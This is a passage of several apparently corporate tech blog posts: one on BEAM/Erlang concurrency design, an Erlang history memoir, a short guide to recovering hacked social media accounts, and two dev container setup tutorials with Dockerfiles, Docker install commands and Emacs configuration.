Synchronize / Lock: Processes that ensure only one worker can access a resource at a time, preventing race conditions. Serialize / Keep (priority) order: These are designed to order processes or tasks, which is critical in systems where the sequence of operations matters.
Rate Limiter / Circuit Breaker: Processes that control the flow of tasks to prevent system overloads. They act as safeguards, limiting the traffic rate or shutting down parts of the system if they become unresponsive.

Data Flow

Keepers of State: Processes that maintain and manage state information, critical for both short-term and long-term state management.
Resource Owner: Processes that exclusively own and manage specific resources, such as files or network connections.
Connections, Listeners, and Monitors: Processes that handle incoming traffic, listen for requests, or monitor resources for changes.
Forwarders, Routers, and Broadcasters: Processes that move data through the system, directing traffic to the appropriate destinations or distributing messages to multiple recipients.

Error Handling

Supervisors: These processes are crucial for system resilience. They monitor worker processes and apply pre-defined strategies to handle failures, such as restarting the failed processes.
Insulators: Processes that contain faults within a certain part of the system to prevent cascading failures. They can also act similarly to circuit breakers, isolating parts of the system that may cause broader system issues.

Designing BEAM processes according to these archetypes ensures that each process has a clear role and responsibility, essential for the system's maintainability and scalability. It also allows for a modular approach, where each process can be independently developed, tested, and optimized. I later refined these categories into five distinct process archetypes with a dedicated post for each role.

Structure Code by Domains

In the final section of our exploration into BEAM system design, we turn our attention to code structure. A vital strategy for effectively organizing code is to align it with business domains. This approach breaks down the system into distinct areas of functionality that correspond with different aspects of the business operations they represent.

Each domain should represent a core business function, providing a focus for the development efforts. Developers can create systems that mirror the business's real-world organization by aligning code structure with these domains. Domains establish clear boundaries within the codebase. This separation ensures that changes in one domain do not have unintended effects on others, facilitating easier maintenance and scalability.

Encapsulating domain-specific logic within its bounded context allows for a cleaner codebase. It also makes the system more adaptable to changes within that domain without affecting the core functionalities of other domains.

Now that we have divided the system into domains, the next step is to construct it by integrating functions, modules, and applications. Starting with a broad perspective and narrowing down to specifics, we can think of system design in three primary layers: applications, modules, and functions. This top-down approach helps outline the system's architecture from the macro to the micro level, ensuring that each component fits into the larger purpose and design.

Applications are the most expansive layer, each representing a substantial domain within the system. They are composed of several modules and define the system's macro functionality. Applications should have a clearly identified role and an API that exposes the necessary functionalities. They're the frontline of the domain, providing the services and interactions that users and other systems interface with.

Within applications, modules act as subdomains. They encapsulate a related set of functionalities and abstract the specifics away from the application layer. Modules are crucial for breaking down the application's complexity into manageable segments. A well-defined module has a consistent API, the only interface through which the rest of the application interacts with the module's internal functions.

At the granular level are functions, the fundamental units of execution that perform specific, well-defined tasks. They are the building blocks within modules designed to accomplish a particular operation effectively and efficiently. The system's logic resides in functions, carrying out computations and data manipulations that drive the module's capabilities.

Suppose some of your functions perform general work that is not specific to an application or domain. If they are used in several places, consider breaking them out into a library application. There is no need to do this prematurely; don’t start writing frameworks and libraries before you have seen the need for the functionality in several places. And don’t take the DRY (don’t repeat yourself) principle too far.

In structuring the system, we start by defining the applications, which sets the stage for the system’s capabilities and boundaries. Each application is then broken down into modules, organizing the system's complexity into focused areas that manage specific aspects of the application's responsibilities. Within each module, functions are defined to perform the operations and tasks necessary to achieve the module’s objectives.

By architecting a system this way, we ensure each layer serves its purpose within the context. The application layer sets the scope and provides the necessary interfaces, and the module layer organizes and delineates the domain's internal logic. The function layer carries out the precise operations required.

APIs serve as contracts between different parts of the codebase. They should be designed with clarity, ensuring that they are both self-explanatory and robust against changes in implementation. APIs should follow consistent design principles throughout the system. This consistency aids in predictability and ease of use for developers interfacing with different system parts. APIs need comprehensive documentation that explains their purpose, usage, and the domain logic they encapsulate. This documentation is vital for maintaining domain integrity and understanding throughout the system.

When aligning code with business domains, developers should have a solid understanding of the business context to create domains that accurately reflect business needs. Domains are not static. As business needs evolve, so should the corresponding domains and their implementations. Domain structuring promotes collaboration between technical teams and business stakeholders, ensuring the system evolves in line with business objectives. Structuring code by business domains provides a logical and maintainable organization within the codebase and aligns technical solutions with business strategy. This synergy between business and technology is crucial for creating systems that support and drive business objectives.

Conclusion

To design concurrent systems on BEAM, it is crucial to comprehend and utilize its concurrency model. BEAM facilitates the execution of processes in complete isolation, and these processes communicate via message passing. This approach to designing systems makes them highly resilient to failure and easy to manage concurrency. It's important to note that a process is not the code it executes. Instead, consider a process as a worker and code as instructions. When designing the process architecture, it's helpful to think about tasks, flows, and process archetypes. When structuring your code, it's beneficial to think in terms of domains. These practices will help you build more robust and maintainable systems.

Three Decades with Erlang

2023-12-14T00:00:00Z

My Brief History with Erlang

As 2024 approaches, I am closing in on nearly 30 years of Erlang programming. My journey with this language began in 1994, when Erlang itself was still in its early stages of evolution. Over these decades, I have seen the growth and transformation of Erlang, and its impact on the world of telecom and beyond. This experience has given me a unique perspective on the development of Erlang and its runtime system, ERTS.

Erlang's Genesis: Engineering Modern Telecom

The Erlang Runtime System (ERTS) was born from Ericsson's need to create a robust and efficient telecommunications infrastructure. This runtime system was designed to handle the demanding and concurrent requirements of both mobile and fixed phone networks.

The groundwork established by Joe Armstrong, Mike Williams, and Robert Virding, under Bjarne Däcker's mentorship, shaped the core principles and architecture of Erlang. They recognized the importance of independent concurrent processes for telecom applications. Their focus on concurrency from the beginning was a strategic decision that aligned perfectly with the parallel nature of telecommunication operations, where multiple tasks need to run simultaneously and independently.

Unlike traditional systems where concurrency often lead to complex issues like deadlock and race conditions, BEAM's architecture allows each process to operate independently. This independence is key in ensuring that the failure of one process does not cascade into a system-wide failure.

Another aspect of BEAM's design contributing to its robustness is its soft real-time capabilities. In telecom networks, 'soft real-time' refers to the system's ability to process and respond to inputs within a reasonable timeframe. This is essential for services like voice calls or data transmission, where delays or interruptions can degrade the quality of service.

BEAM also features a sophisticated error-handling mechanism. It allows individual processes to fail and restart without affecting the overall system. This approach, often called "let it crash," is a radical departure from traditional error handling but proves highly effective in maintaining system integrity. By localizing failures and managing them effectively, BEAM ensures that the larger system continues to operate smoothly.

Combining these features - efficient management of concurrency, soft real-time processing, and robust error handling - makes BEAM uniquely suited for the demands of global communication networks. It enables systems built on Erlang and running on BEAM to offer high availability and reliability. As such, BEAM support a wide array of services that range from everyday communications to data transfers.

Erlang's Early Years: Foundations and Evolution

But let's go back to the origins of Erlang and its developmental journey. The language and the name came sometime in 1986 and 1987.

Initially, Erlang was implemented in Prolog, but this early version faced limitations, especially in terms of speed and efficiency. When Erlang started to get real users around 1989 these issues had to be addressed. This led to the development of JAM (Joe's Abstract Machine) which was heavily influenced by WAM the virtual machine for prolog. JAM represented a significant advancement in Erlang's development, laying the foundational groundwork for what would eventually evolve into BEAM.

JAM overcame some of Erlang's initial performance challenges. However, as Erlang began to be used more extensively, the need for a more efficient and robust system became apparent. This led to the development of BEAM, starting in 1993 as a compiler to C. You can read more about this in A history of Erlang by Joe Armstrong.

BEAM: Advancing Erlang's Core

BEAM brought several improvements over JAM, focusing on speed of execution, with features such as a threaded code dispacher and mapping of virtual machine registers to CPU registers.

Thus, the evolution from Prolog-based Erlang to JAM, and subsequently to BEAM, illustrates a path of continuous refinement and adaptation. Each stage was driven by the changing needs of the systems Erlang aimed to support, with each new development building upon the strengths of its predecessors. You can read more about how BEAM works in The BEAM Book.

HiPE: Pushing Erlang's Performance Envelope

My involvement in the evolution of Erlang's ecosystem began with my work on the Jericho compiler. This project was part of my master's thesis and aimed toward efficiency and speed of execution of Erlang code. Jericho, a JIT native code compiler for Erlang, was written in C and translated JAM code into SPARC v9 assembler. This translation improved performance, addressing one of the key limitations of JAM.

The pursuit of optimizing Erlang's performance further led to my doctoral research and the creation of the High-Performance Erlang (HiPE) group and compiler. Unlike Jericho, HiPE was written in Erlang and was designed to convert both JAM and BEAM bytecode into machine code. This capability was not limited to a single architecture; HiPE supported multiple architectures, including x86, SPARC, and ARM.

The advancements brought by the HiPE group to ERTS were substantial. During this period, our focus extended to garbage collection strategies, exploring the effectiveness of approaches such as hybrid and common heaps for processes. We also pioneered a just-in-time compilation method, implemented on a per-function basis.

I was fortunate to collaborate with a team of esteemed colleagues in the HiPE project, including Kostis Sagonas, Mikael Pettersson, Richard Carlsson, Tobias Lindahl, Per Gustafsson, and Jesper Wilhelmsson. This collaboration extended to working closely with the OTP team, where we fine-tuned inter-process communication, introduced binary searches for extensive pattern matching, and redesigned BEAM's tagging scheme for enhanced efficiency.

The work of my colleagues in the HiPE team also led to notable contributions to the language and the virtual machine. These include the introduction of Core Erlang and EDoc, implementation of bit syntax, refinements in floating-point arithmetic, the addition of type specs, and the development of the Dialyzer for static code analysis. Each of these contributions played a crucial role in enhancing the robustness and efficiency of the BEAM ecosystem.

Diversifying with Scala and Simics: Broadening Horizons

Before going into the next era of Erlang's development, I like to highlight two significant chapters in my journey that predates this period: my involvement with Scala at EPFL (École Polytechnique Fédérale de Lausanne) from 2003 to 2004 and at Virtutech 2004 to 2005. This experience, while seemingly a detour from Erlang, it broadened my perspective on programming languages and virtual machines.

In 2003, I joined EPFL as a project manager for Scala, a language that was then in its nascent stages of development. Scala, designed to be a scalable and efficient language, aims to bridge the gap between object-oriented and functional programming paradigms. My role in this project was not just administrative; it was an opportunity to think about language design. It also gave me experience in the management of a complex software project.

One of the most interesting aspects of Scala was its functional programming characteristics, some of which were inspired by Erlang. Erlang’s approach to concurrency, fault tolerance, and distributed computing offered valuable lessons relevant to Scala's development. My experience with Erlang provided me with insights that I could bring to the Scala project. It was a chance to see how concepts from Erlang could be adapted and applied in a different context and to a language with a distinct set of goals and design principles.

My tenure at EPFL was a period of rich learning and cross-pollination of ideas. It was like being at a junction where the roads of Erlang and Scala intersected, allowing for an exchange of ideas that enriched both my understanding and the development of Scala. This experience underscored the value of exploring diverse programming paradigms and the importance of functional programming in modern software development.

Following my role in the Scala project at EPFL, I transitioned to Virtutech in 2004, working on virtual machine technology. At Virtutech, I worked on Simics, a high-performance virtual platform that simulates the hardware of different computer systems. Simics was a powerful tool for developers, allowing them to mimic the behavior of complex systems and test software in a controlled environment.

My focus at Virtutech was on the performance optimization of Simics. This task involved deep dives into the intricacies of system architecture and the challenges of accurately simulating hardware behavior at high speeds. The experience honed my skills in understanding and improving system performance, a crucial aspect of virtual machine technology and the Erlang runtime system.

Working on Simics gave me a unique perspective on the significance of performance in virtual systems. It was akin to fine-tuning a high-performance engine, where every adjustment and enhancement could significantly improve how the system operated. This knowledge proved invaluable in my subsequent endeavors with Erlang and BEAM.

These experiences at EPFL and Virtutech shaped my approach to system design and optimization. They underscored the importance of a holistic understanding of software and hardware in creating efficient and robust systems. As I returned to the world of Erlang, the skills and insights gained from these roles enriched my contributions to the Erlang community, particularly in system performance and optimization.

Erlang's Stabilization Era: Consolidation Over Innovation

The period between 2006 and 2014 was when the focus noticeably shifted from innovation to stabilization. This era was marked by a concerted effort to make BEAM more stable and efficient, an endeavor that, while crucial, came at the cost of slowing down on the innovation front.

During this time, the OTP (Open Telecom Platform) team, operating under the age-old adage of "the golden rule" - that is, 'whoever has the gold makes the rules' - followed a path largely dictated by Ericsson's immediate needs. Ericsson, having become heavily dependent on Erlang for its revenue-generating projects, preferred a conservative approach. Their goal was clear: ensure the smooth running of existing systems and avoid any disruptions that might arise from overly ambitious innovations. It's a bit like being at a rock concert where the band decides to play only ballads; necessary for a breather, but you do miss the high-energy numbers.

In this environment, much of the OTP team's work centered around enhancing the efficiency and stability of the Beam. This included the introduction of the multi-core version, which now could deliver true parallelism. Something that most Erlang programs could take advantage of immidately and automatically withou rewriting a single line of application code.

Several enhancements to ETS (Erlang Term Storage) tables, and other performance optimizations were also introduced. However, this shift also meant dialing back on some of the experimental features that HiPE had introduced. Features like hybrid heaps, parameterized modules, namespaces, and the just-in-time aspects of the HiPE compiler and loader were gradually removed to simplify maintenance.

Eventually, this would lead to the complete phasing out of HiPE a number of years later, when it was replaced by a simpler JIT compiler in 2020, bringing the native code story back full circle. It was a bit like saying goodbye to a favorite experimental band that had once headlined festivals but was now playing in small clubs. While its contributions were significant and propelled BEAM forward, the need for a stable, easily maintainable system took precedence in the strategic decisions of the OTP team.

This phase in Erlang's history highlights a common trajectory in technology development where, after a period of rapid innovation and experimentation, a consolidation phase is necessary. It underscores the balancing act between pushing the boundaries of innovation and ensuring the reliability and stability of technology, especially when it forms the backbone of infrastructure like telecommunications.

Klarna: Challenging and Enhancing Erlang's Limits

During this Stabilization Era, my professional journey found me at Klarna, where I was deeply involved in working with Erlang's runtime system. At Klarna, we were not just passive observers of the developments in the Erlang community; instead, we were actively pushing the Erlang Runtime System (ERTS) to its limits. This period was marked by a rigorous process of identifying, understanding, and resolving various challenges within ERTS, contributing to its overall stability and efficiency.

I have written more about the Klarna era and the projects we worked on in a separate series.

One of the notable challenges we encountered at Klarna was the limitation of process memory in ERTS, even on 64-bit systems. We discovered that a single Erlang process could not hold more than 32 GB of data, a constraint that posed significant challenges given the scale at which we were operating. This finding was crucial as it highlighted a fundamental limitation in the system, prompting us to dig deeper into Erlang's memory management mechanisms.

Another issue we observed was related to the behavior of the schedulers. In some instances, the schedulers in ERTS could become a bit too eager to enter a sleep state, which, while efficient in some contexts, could lead to performance bottlenecks under certain workloads. Addressing this required a careful rebalancing of the scheduler's responsiveness, ensuring that they remained alert enough to handle fluctuating demands efficiently.

Additionally, we tackled challenges with long-running built-in functions (BIFs). These functions could occasionally block the schedulers for extended periods. In extreme cases, this could trigger the HEART mechanism, Erlang's watchdog, to erroneously conclude that the system was unresponsive and initiate a restart. Such scenarios were not just theoretical concerns but real issues that we needed to address to maintain the reliability of our systems.

We also grappled with issues related to memory usage, particularly concerning large binaries. References to these large binaries could get inadvertently 'stuck' in processes, leading to substantial, and often unnecessary, memory consumption. This was a subtle yet significant issue, as it could lead to gradual memory bloat, impacting the system's overall performance and stability.

One interesting system limitation resulted in our systems consistently crashing after a code upgrade. Yes, we did hot code loading of new releases at that time. The only hint on what was going wrong was a printout directly to the terminal of a sad face ":(". This did not end up in any logs, so we first had to try to reproduce the error locally before we could see it. After some searching in the code, we found out that the system printed the sad face and exited if the hard-coded size of the number of exception handlers was exceeded. The developer of that code had very graciously left a comment: "This should probably be dynamically allocated."

My time at Klarna during this era was not just about addressing these challenges; it was also about contributing to the broader Erlang ecosystem. The issues we identified and the solutions we developed helped in enhancing the robustness of ERTS. It was a period that underscored the importance of real-world applications in revealing the limitations of a system and the collaborative nature of problem-solving in the open-source community. The experience at Klarna was like being in a high-stakes game where every discovery and improvement not only benefitted us but I think also enriched the entire Erlang community.

Elixir's Emergence: Invigorating the Erlang Ecosystem

The emergence of Elixir in 2011 marked a new chapter in the story of Erlang. Created by José Valim, Elixir is a dynamic, functional language built on the Erlang VM (BEAM) and designed for building scalable and maintainable applications with an initial focus on web technologies. Elixir’s arrival had a profound impact on the Erlang community, infusing it with fresh energy and attracting a new wave of developers.

Elixir managed to bridge a gap in the backend development community. Its modern syntax and tooling, combined with the robustness of the Erlang VM, made it appealing to a broader audience, including those who might have found Erlang's syntax and conventions challenging. This influx of new talent and ideas brought about a rejuvenation in the community, sparking renewed interest and innovative approaches to solving backend problems.

From my perspective, Elixir's contribution to the Erlang ecosystem is akin to a revitalizing rain shower over a fertile field. It not only nourished the existing landscape but also encouraged new growth, diversifying and enriching the ecosystem. The presence of Elixir helped in popularizing some of Erlang's core principles, such as concurrency and fault tolerance, to a wider audience, thereby reinforcing the relevance of these ideas in modern software development.

The BEAM Book: Chronicle of a Virtual Machine

Following the emergence of Elixir and the energizing effect it had on the Erlang community, I started writing "The BEAM Book." This project is a comprehensive documentation of the BEAM virtual machine, designed to provide an in-depth look into its inner workings, principles, and capabilities.

The BEAM Book is an effort to encapsulate the rich history and technical intricacies of BEAM. I have written about the lessons from writing it and why I wrote it in later posts. It's intended to serve as both a historical record and a technical guide, offering insights into the design decisions, architectural nuances, and the operational mechanics of BEAM.

My work on this book is driven by a desire to share knowledge and insights gathered over years of working closely with Erlang and BEAM. It's meant to be a resource for those who want to understand the depths of BEAM's capabilities, for developers who build systems on it, and for enthusiasts who wish to explore the underpinnings of this powerful virtual machine.

The BEAM Book project is also a reflection of my commitment to the Erlang and Elixir communities. It's a way of giving back, of contributing to the collective knowledge base that has been so instrumental in the growth and success of these technologies. This endeavor is like charting the course of a great river - capturing its origins, its meandering journey, and the many ways it has enriched the lands through which it flows.

Conclusion

My nearly 30 years in this field have been a testament to the dynamic, ever-evolving nature of software development, where each new discovery builds upon the last.

I encourage you, the readers, to reflect on your own experiences with Erlang, BEAM, or Elixir. Consider how these technologies have influenced your professional path and how you have interacted with these communities. Whether your role has been that of a developer, a scholar, or an enthusiast, your experiences and contributions are valuable chapters in this ongoing story. It is through our collective efforts and shared knowledge that these technologies continue to thrive and evolve, underpinning some of the most innovative and robust systems in the world today.

I realize that each experience, each challenge, and each triumph has not only shaped my understanding of this technology but has also prepared me for my next endeavor. I am excited to announce that I will be building upon this history in my upcoming talk titled "30 Years On and In the Beam: Mastering Concurrency." In this presentation, I plan to cover some technical aspects of BEAM, exploring some of its peculiarities and offering insights into designing effective concurrent systems.

This talk is an opportunity to share knowledge, engage with new ideas, and continue learning from the community that has been a big part of this journey. I invite you to join me in this discussion, where we can learn more about concurret programming and explore the BEAM together.

For more details and to register for the event, please visit 30 Years On and In the Beam. Mastering Concurrency. I look forward to the opportunity to connect, share, and learn together. Hope to see you there!

Recovering from a Hacked Social Media Account

2023-10-17T00:00:00Z

If you've observed unusual activity on your account or can't access it, you're not the only one. Let's go through the steps to regain control.

When you first suspect unauthorized access to your account, resetting your password as soon as possible is essential. Most platforms, including Facebook and Instagram, have a straightforward process on their login pages to help you do this, usually requiring your registered email or phone number. After regaining access, you should review your activity log to identify and rectify any unfamiliar actions. Additionally, consider logging out of all sessions on other devices and turning on two-factor authentication for added security. This feature enhances security by sending a verification code to your phone during login.

Several platforms offer dedicated pages to guide users through the recovery process:

Google: Recovery Link
Facebook: Recovery Link
Instagram: Recovery Link

Maintaining the security of your accounts is an ongoing process. One practical approach is to use tools such as LastPass or 1Password. These tools not only store passwords securely but can also generate strong combinations tailored for each account. Moreover, monitoring the devices and locations accessing your account is prudent. Regularly monitoring this can alert you to any unauthorized access attempts. Lastly, teach yourself about the latest hacking techniques and potential threats. Position yourself to protect your account by staying informed.

At HappiHacking, our expertise lies in software optimization and organizational growth. Yet, we recognize the paramount importance of online security in today's connected world. We have therefore written a guide on what to do if you get hacked here.

Dev Containers Part 2: Setup, the devcontainer CLI & Emacs

2023-08-11T00:00:00Z

In the previous post, we could read about how to use dev containers to streamline your developer workflow, and the benefits of containerizing, well, everything.

In this post I will walk you through my process of getting a containerized development environment for a small Rust project up and running using the devcontainer CLI. I will also show how to access this enviroment using Emacs.

But first, a quick recap.

What is a Dev Container?

I'm assuming some familiarity with docker and containerization here.

A dev container is in its simplest form a docker container with two important modifications:

Your workspace/source code folder is shared between the containers file system and your host file system, such that any changes made to the files inside the container persists should the container stop or restart.
While a classic container generally has a single CMD instruction, that for example runs the relevant application, a dev container instead simply starts and does nothing, thus allowing you to connect to it and start hacking away.

Project Setup

To follow along, you will require Docker, and the devcontainer CLI.

As mentioned, this will be a Rust project, and we will thus be using Cargo, the Rust package manager, to set it up. Though, in the spirit of containerization, we will do it from inside the container, meaning we will not need to have it installed on our host machine.

We'll create a project folder and initialize a rust project with cargo:

mkdir rust-dev-container && cd rust-dev-container

Inside our project folder, we create another folder named .devcontainer, and two files inside that folder:

mkdir .devcontainer && touch .devcontainer/Dockerfile && touch .devcontainer/devcontainer.json

The Dockerfile will specify our development environment, and the devcontainer.json file will simply refer to the dockerfile.

Fill the Dockerfile with the following content:

FROM mcr.microsoft.com/devcontainers/rust:0-1-bullseye

# Add rust-analyzer download and setup
RUN curl -L https://github.com/rust-lang/rust-analyzer/releases/download/2023-08-07/rust-analyzer-aarch64-unknown-linux-gnu.gz -o /usr/bin/rust-analyzer.gz
RUN gzip -d /usr/bin/rust-analyzer.gz
RUN chmod +x /usr/bin/rust-analyzer

We will use a rust docker image from Microsoft, and add the rust-analyzer language server, which we will need to get IntelliSense features in Emacs.

Fill the devcontainer.json file with the following content:

{
  "name": "Rust Dev Container",
    "build" : {
      "dockerfile" : "Dockerfile"
    }
}

As mentioned, we simply reference the Dockerfile.

Now, assuming docker is running, and the devcontainer CLI is available, we simply run the following command from our workspace folder:

devcontainer up --workspace-folder .

This will spin up the container, which means that we are basically done. From this point we can connect to our container and start developing.

As a last step, we will initialize the project from inside the container by running the following command:

devcontainer exec --workspace-folder . cargo init

This will run cargo init inside our workspace folder inside the container. Since this folder is connected to the folder you are currently in, you can do a simple ls and see the changes on your host machine.

And we are done!

This is basically all there is to setting up a dev container. In the next section we will connect to the container through Emacs and Tramp.

Emacs & Tramp

Working inside a container works exactly like working on a remote machine, which works almost identically to working on your own machine. The Emacs module which allows this is called Tramp You simply prefix the the file you want to open with /docker:<CONTAINER ID>:. To find your container ID, you can run docker ps in a terminal. Inside the container, the workspace folder is located at /workspaces/. In our case, I'd do M-x find-file and then enter:

/docker:7cdf905ea9e8:/workspaces/rust-dev-container/src/main.rs

and then simply start writing code.

NOTE: This is true for Emacs 29 and later. For earlier versions, you need this package.

To get IntelliSense features, I use eglot (which comes with Emacs from version 29), an LSP client, and rustic, a rust mode. Eglot automatically finds the rust-analyzer binary that we specified in the docker file. To get rustic to work properly I had to tell it where to find the cargo binary inside the container.

This is how I have configured those packages (using use-package):

(use-package eglot
  :config
  (setq eglot-events-buffer-size 0
        eglot-ignored-server-capabilities '(:inlayHintProvider)
        eglot-confirm-server-initiated-edits nil))

(use-package rustic
  :config
  ; Tell rustic where to find the cargo binary
  (setq rustic-cargo-bin-remote "/usr/local/cargo/bin/cargo")
  (setq rustic-lsp-client 'eglot))

This is how the containerized project looks from my Emacs frame:

My full Emacs configuration can be found here. It is heavily inspired by Doom Emacs.

Conclusion

Dev containers are a great way to streamline the setup of your development environment, and you can even invite your Emacs using friends to the party.

Thanks for reading, and good luck with your projects!

Dev Containers: Consistency in Development

2023-07-24T00:00:00Z

Dev Containers: Turtles all the way down

Dev Containers might just be the key to streamlining your development workflow. These tools provide a consistent, isolated, and reproducible development environment. No more "but it works on my machine" excuses. With dev containers, if it works on one machine, it works on all.

In this article, we'll explore what dev containers are, their benefits, and how to set one up. We'll delve into the nuts and bolts of creating and configuring your own dev container, and by the end, you'll be equipped with the knowledge to bring your development environment into the 21st century.

If you've ever heard the phrase "It's turtles all the way down", you'll find it surprisingly relevant here. Especially if you're working on Windows in WSL2 or on a Mac where the dev environments are usually Linux-based, much like the live environment. But more on that later.

Back in the early 2000s, I was part of a team working on Simics, a cycle-accurate full system simulator. Simics was a game-changer in the world of software development. It introduced the ability to run programs backwards, a feature that was nothing short of revolutionary. This meant that developers could step back through their code execution, making it easier to identify and fix bugs.

But that's not all. Simics also made it possible to simulate hardware that didn't even exist yet. This was a significant breakthrough, as it allowed software development to proceed in parallel with hardware development.

For instance, Microsoft was able to develop a 64-bit version of Windows before the 64-bit hardware was even available. This was a significant advantage, as it allowed Microsoft to hit the ground running when the hardware was finally released.

IBM also leveraged Simics to develop a 64-bit version of their operating system OS/2. This parallel development of hardware and software was a significant shift in the industry, and it was all made possible by Simics.

Around the same time, VMWare and VirtualBox was also making waves in the world of virtualization. VirtualBox allowed developers to run multiple operating systems on a single machine, which was a significant step forward in terms of flexibility and efficiency.

VMware's technology was revolutionary at the time. It allowed businesses to partition a physical server into multiple virtual machines, each capable of running its own operating system and applications. This meant that businesses could get more value from their physical servers, reducing costs and improving efficiency.

These tools, Simics, VMware, and VirtualBox, were the precursors to the easy virtualization we enjoy today with Docker. They laid the groundwork for what we now know as dev containers, and their influence can still be seen in the way we develop software today.

Before we get into the how of running dev containers, let's talk about the why. Why should you consider using dev containers? What makes them worth the effort of setting up? Well, let's find out.

Here are the main benefits:

Consistency: The "it works on my machine" syndrome is a developer's nightmare. Dev containers squash this issue. Everyone works with the same environment, eliminating the gap between local and production setups. Moreover, if done right this consistency extends to testing and live environments, ensuring that your application behaves as expected across all stages. At Happi Hacking we are experts in doing this right and we would be happy to help you set things up the right way.

Quick Setup: Setting up a new project or jumping between projects can be time-consuming. With dev containers, you can get up and running in no time. No need to install and configure each dependency manually, the container has it all ready for you.

Simplified Onboarding: New team member? No problem. With dev containers, they can hit the ground running. Pull the container, start coding. It's that simple.

Collaboration: Sharing your work environment is as simple as sharing your container configuration. This facilitates collaboration, whether you're pair programming or debugging.

Dependency Management: Dev containers keep your project and its dependencies in their own neat little box. This means no more conflicts between projects that require different versions of the same dependency.

What is a Dev Container?

A Dev Container, or Development Container, is a virtual environment tailored for software development. It's a self-contained unit that houses your project and all its dependencies. Think of it as a mini-computer, living inside your actual computer, that you can set up to match your project's needs exactly.

Dev Containers work by leveraging containerization technology. If you're familiar with Docker, you're halfway there. Docker allows us to package an application along with its environment into a container. A Dev Container takes this a step further and packages not just the application, but the entire development environment.

This means your Dev Container includes the specific version of the programming language you're using, any libraries or frameworks your project depends on, and even the development tools and extensions you need. Everything is pre-configured and ready to go.

The beauty of this is that a Dev Container is portable. You can share it with your team, ensuring everyone is working in the same environment. You can run it on different machines, knowing it will behave the same way. You can even version control it, so you can go back to a previous setup if needed.

Creating and Optimizing Your Dev Containers: A Practical Guide

Setting up a basic dev container is a straightforward process. You start by installing Docker on your machine.

Installing Docker on Windows (WSL2):

Install Windows Subsystem for Linux (WSL) and upgrade to WSL2. You can follow Microsoft's official guide to do this.
Download Docker Desktop for Windows from Docker's official website and install it. During installation, ensure that you select the option to use WSL2 instead of Hyper-V.
After installation, Docker Desktop will automatically use WSL2.

Installing Docker on Mac:

Download Docker Desktop for Mac from Docker's official website.
Open the Docker.dmg file you downloaded and drag the Docker app to your Applications folder.
Open Docker Desktop from your Applications folder. You'll see a whale icon in your top status bar indicating that Docker is running.

Installing Docker on Linux:

Update your existing list of packages:

sudo apt-get update

Install a few prerequisite packages which let apt use packages over HTTPS:

sudo apt-get install apt-transport-https ca-certificates curl software-properties-common

Add the GPG key for the official Docker repository to your system:

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

Add the Docker repository to APT sources:

sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

Update the package database with the Docker packages from the newly added repo:

sudo apt-get update

Make sure you are about to install from the Docker repo instead of the default Ubuntu repo:

apt-cache policy docker-ce

Install Docker:

sudo apt-get install docker-ce

Remember, Docker commands usually require sudo privileges. To avoid typing sudo every time you run a Docker command, add your username to the Docker group:

sudo usermod -aG docker ${USER}

You'll need to log out and log back in for this to take effect.

Creating your first Docker

Once Docker is up and running, you can create a Dockerfile. This file is a text document that contains all the commands a user could call on the command line to assemble an image.

Here's a simple Dockerfile example:

# Use an official Python runtime as a parent image
FROM python:3.7-slim

# Set the working directory in the container to /app
WORKDIR /app

# Add the current directory contents into the container at /app
ADD . /app

# Install any needed packages specified in requirements.txt
RUN pip install --trusted-host pypi.python.org -r requirements.txt

# Make port 80 available to the world outside this container
EXPOSE 80

# Run app.py when the container launches
CMD ["python", "app.py"]

In this example, we're setting up a simple Python application. We specify the parent image we're using (Python 3.7), set the working directory to /app, add our current directory into the container, install the necessary packages, expose the necessary port, and finally, specify what command to run when the container launches.

Dockerfiles are incredibly flexible. You can create a Dockerfile for any application, regardless of the technology stack. This flexibility is one of the main benefits of using Dockerfiles to create your dev containers.

When it comes to best practices for working with dev containers, here are a few tips:

Keep your Dockerfiles lean and efficient. Avoid installing unnecessary packages and clean up after yourself to keep the image size down.
Use .dockerignore files. These work like .gitignore files. They prevent unwanted files from being added to your Docker images.
Build your applications to be environment-agnostic as much as possible. This means minimizing the number of environment-specific configurations you need.
Use environment variables for configuration. This allows you to keep sensitive information out of your Dockerfiles.
Regularly update your images to get the latest security patches. You can automate this process with CI/CD pipelines.

Remember, the goal of using dev containers is to make your development workflow more consistent, isolated, and reproducible. Keep this in mind as you build and work with your dev containers.

For more complex projects where you might want to combine several development environments like C, C++, Erlang, Elixir, JavaScript, and React in one environment this can become somewhat complex. This is where Happi Hacking can be of service. We help you set up efficenr custom made dev environments.

As we'll soon see, this concept can be expanded to bring entire execution environments to the developer's machine using tools like Docker Compose or Minikube.

Pre-built Dev Containers: A Quick Start

Pre-built dev containers are a great way to get started quickly. These are ready-made containers available on Docker Hub or other repositories that come with all the necessary tools and configurations already set up. You can simply pull these containers and start using them for development without having to worry about the setup process.

For instance, if you're developing a Node.js application, you can pull a Node.js dev container that comes with Node.js, npm, and other necessary tools already installed. This can save you a lot of time and effort.

Moreover, at Happi Hacking, we offer a custom Docker repository tailored to your organization's needs. We can provide pre-built dev containers equipped with the tools and configurations that your team uses regularly. This can further streamline your development workflow and ensure consistency across your team.

Visual Studio Code Dev Containers: Seamless Setup and Integration

Visual Studio Code (VS Code) has a feature called Dev Containers that takes the convenience of pre-built dev containers to the next level. This feature allows you to define your development environment as code using a combination of a Dockerfile and a .devcontainer.json configuration file.

Once you've defined your dev container, VS Code can automatically build and run the container, and then open your project inside the container environment. This means you can start coding immediately, with all your tools and dependencies already set up and ready to go.

The real beauty of VS Code Dev Containers is the integration with the VS Code editor. You can use all VS Code features and extensions inside the dev container, just as if you were working locally. This includes IntelliSense code completion, debugging, version control, and more.

Moreover, VS Code Dev Containers support both single-container and multi-container configurations with Docker Compose. However, it's important to note that you can only connect to one container per VS Code window. This means you can set up complex development environments involving multiple services, all running in separate but interconnected containers, but you would need to open a separate VS Code window for each container you want to connect to.

Customizing Your Environment with .devcontainer.json

A devcontainer.json file is a configuration file that defines the development environment for Visual Studio Code when using Dev Containers. This file is typically located in the root of your project, inside a folder named .devcontainer.

Here's a basic example of a devcontainer.json file:

{
    "name": "A Happy Project",
    "image": "erlang-26.0.2.0",
    "forwardPorts": [8080],
}

In this example:

"name": This is the name of your development environment. It's displayed in the lower left corner of VS Code when the dev container is active.
"image": This is the Docker image that the dev container will use. In this case, it's using a pre-built image for Erlang.
